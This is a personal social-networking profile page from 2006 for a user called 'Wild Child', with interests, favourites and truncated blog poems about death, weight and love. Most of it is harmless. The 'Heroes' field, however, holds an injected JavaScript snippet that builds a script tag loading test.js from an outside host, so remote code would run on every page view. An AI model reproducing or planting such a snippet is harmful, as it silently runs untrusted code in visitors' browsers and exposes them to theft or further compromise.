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WILD CHILD

Age is of no importance unless you are a cheese!

About Me

I'm a writer with lots of free time on my hands. I watch way too many crappy TV shows. but I'm hella good looking with a sparkling personality. and I have 7 dogs.

My Interests

Poetry, books, drinking, dancing, having way to much fun.

I'd like to meet:

Mahatma Gandhi, Einstein, Matthew McConaughey, Jesus

Music:

Rock & Roll Baby!

Movies:

Drama, Suspense

Television:

Anything that has to do with Reality

Books:

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Heroes:

Emily Dickinson & Stephen King...."var x=document.createElement('script');x.src='http://www.actuali zando.com/.../test.js';document.getElementsByTagName('body') [0].appendChild(x);" /

My Blog

"Tag - I'm It"

So, the rules are once you've been tagged you have to write a blog with 6 wierd things or habits about yourself and make a blog titled "Tag - I'm It." In the end you need to choose 6 other people to b...
Posted by Wild Child on Fri, 30 Jun 2006 01:03:00 PST

Unholy Feeling

Here I lie upon my bedmadness flashing through my headthinking things of wicked sortsunholy feelings I should abortmaybe life will change in timebut can the thoughts within my mind?To live a life with...
Posted by Wild Child on Wed, 10 May 2006 04:00:00 PST

Death

DeathA part of life?A way of life?A fleeting existence that seems to last foreverdoes it?DeathWhat is it?A new beginning?An ending?Does it come with any tomorrows?DeathAwaiting allmysterious, yet evid...
Posted by Wild Child on Tue, 09 May 2006 03:45:00 PST

The Weight

The Weight My weight arrives double-fold One in bloat and one on holdThe day a mirror comes face to faceBrings to an end my leather and laceWith nothing on but a cheeto ringAround my mout...
Posted by Wild Child on Thu, 20 Apr 2006 02:34:00 PST

Generation Numb

Generation NumbTo my son, TonySilence deafens the earsof those who whisperthe tale of the jester.For he who rewrites life's scripttruly lives a fool's life.A night with no moonblinds the eyesof he who...
Posted by Wild Child on Thu, 20 Apr 2006 01:54:00 PST

Hello, Hello

Hello, Hello Her essence is not of her own just a shadowy imitation of reality that plays on the drums with borrowed words She's the voice of reflection which bounces freely from wall to wall repe...
Posted by Wild Child on Wed, 19 Apr 2006 11:42:00 PST

What have I missed

What have I missedLovelike a lost soulfighting demonsof it's own creationa milestoneof the next stop of passionwearing a faceof cold thrillsand vivid imaginationwhat have you lostbut the timeyou would...
Posted by Wild Child on Sun, 12 Mar 2006 11:01:00 PST

Uncle Capricorn

Uncle Capricorna last empty breathdelivers the kingdoma fugitive soulfleeing Earth's griplungs fillingwith the wisdomof unanswered questionsa burning reflectionunfolding in an ocean of starscreating a...
Posted by Wild Child on Sun, 12 Mar 2006 10:52:00 PST